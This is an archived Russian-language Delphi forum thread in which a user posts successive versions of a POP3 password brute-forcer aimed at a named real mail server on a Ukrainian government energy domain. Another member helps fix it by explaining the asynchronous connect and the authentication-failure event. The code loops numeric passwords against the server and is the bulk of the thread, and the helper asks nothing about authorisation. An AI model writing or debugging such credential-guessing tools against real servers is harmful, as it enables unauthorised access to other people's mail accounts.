Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Сети";
Текущий архив: 2004.12.19;
Скачать: [xml.tar.bz2];

Вниз

Проблема с NMPOP3.Connected   Найти похожие ветки 

 
The X   (2004-10-07 10:59) [0]

Есть следующий фрагмент кода для подбора пассворда по NMPOP3.
Проблема в том, что когда подставляется верный пароль к серваку (я его знаю), то цикл процедуры не останавливается, т.е. не проходит проверка на Connected.

var i:integer;
label l;
begin
 nmpop31.Host:="nec-fs2.energy.gov.ua";
 nmpop31.UserID:=edit1.text;
 i:=strtoint(edit3.text);
l:label1.caption:=inttostr(i);
 if not nmpop31.Connected then
 begin
   nmpop31.Password:=inttostr(i);
   try
     nmpop31.Connect;
   except
     on esockerror do
       messagebeep(0);
   end;
   if i<strtoint(edit2.text) then
   begin
     inc(i);
     goto l;
   end
     else
       Exit;
 end
   else
     showmessage("!!!!!!!!!!!!");  //типа верный пароль получен
end;


 
Reindeer Moss Eater ©   (2004-10-07 12:16) [1]

Видимо потому что метод Connect - асинхронный


 
The X   (2004-10-07 13:48) [2]

Reindeer Moss Eater
Можно поподробнее?


 
Reindeer Moss Eater ©   (2004-10-07 13:54) [3]

Возврат из вызова Connect происходит до того, как будет установлено само соединение.


 
The X   (2004-10-07 14:07) [4]

Установить таймер?


 
The X   (2004-10-07 14:07) [5]

Может какой-нить рефреш есть?


 
The X   (2004-10-07 14:08) [6]

может в виде паузы?


 
Reindeer Moss Eater ©   (2004-10-07 14:11) [7]

Установить таймер?
Может какой-нить рефреш есть?
может в виде паузы?


А может лучше на вкладку Events инспектора объектов заглянуть?


 
The X   (2004-10-07 14:12) [8]

Reindeer Moss Eater
большое сенкс!  8-)


 
The X   (2004-10-07 14:34) [9]

Reindeer Moss Eater
Прошу прощения, никак не могу догнать некоторых вещей.
Смотрите, указываю явно диапазон перебора, на кнопку вешаю передачу текущего пароля в компонент и вызываю коннект без никаких защищенных блоков. При этом в OnAuthentificationFailed указываю inc(i) (i - глобальная по всему модулю) и дальше вызываю опять Button.Click. Не получается - ошибки типа AccessViolation при попытке подключиться даже при первой попытке.
Что посоветуете?


 
Reindeer Moss Eater ©   (2004-10-07 14:40) [10]

Без кода трудно что либо сказать.
Но советую обратить внимание на параграф Description в справке по OnAuthentificationFailed.


 
The X   (2004-10-07 15:15) [11]

Текущий код

procedure TForm1.Button1Click(Sender: TObject);
begin
 nmpop31.Host:="nec-fs2.energy.gov.ua";
 nmpop31.UserID:=edit1.text;
 i:=strtoint(edit3.text);
 label1.caption:=inttostr(i);
 if not nmpop31.Connected then
 begin
   nmpop31.Password:=inttostr(i);
   nmpop31.Connect;
 end;
end;

procedure TForm1.NMPOP31AuthenticationFailed(var Handled: Boolean);
begin
 if i<strtoint(edit2.text) then
 begin
   inc(i);
   Button1.Click;
 end
   else
     Exit;
end;

ЗЫ. Параллельно разбираюсь со справкой.


 
The X   (2004-10-07 15:28) [12]

Вот самый последний исправленный вариант с дескриптором по Handled. При нем сразу же после OnAuthentificationFailed возвращается ошибка "10054 Connection reset by peer" и не проходит воторой цикл подсоединения с уже новым паролем с пом. Handled:=true.

procedure TForm1.Button1Click(Sender: TObject);
begin
 NMPOP31.Host := "nec-fs2.energy.gov.ua";
 NMPOP31.UserID := Edit1.Text;
 i := StrToInt(Edit3.Text);
 Label1.Caption := IntToStr(i);
 if not NMPOP31.Connected then
 begin
   NMPOP31.Password := IntToStr(i);
   NMPOP31.Connect;
 end;
end;

procedure TForm1.NMPOP31AuthenticationFailed(var Handled: Boolean);
begin
 if i < StrToInt(Edit2.Text) then
 begin
   inc(i);
   Label1.Caption := IntToStr(i);
   NMPOP31.Password := IntToStr(i);
   Handled := True;
 end
   else
     Handled := False;
end;



Страницы: 1 вся ветка

Форум: "Сети";
Текущий архив: 2004.12.19;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.47 MB
Время: 0.038 c
1-1102019486
AlexHawk
2004-12-02 23:31
2004.12.19
Помогите с циклом...


1-1102311811
Павел
2004-12-06 08:43
2004.12.19
Как преобразовать String в PAnsiChar?


14-1101557346
gn
2004-11-27 15:09
2004.12.19
Китайское правительство ограничит использование заграничного ПО


4-1099647728
огого
2004-11-05 12:42
2004.12.19
работа с com портами


14-1101474424
dr Tr0jan
2004-11-26 16:07
2004.12.19
Загрузка компьютера по таймеру





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский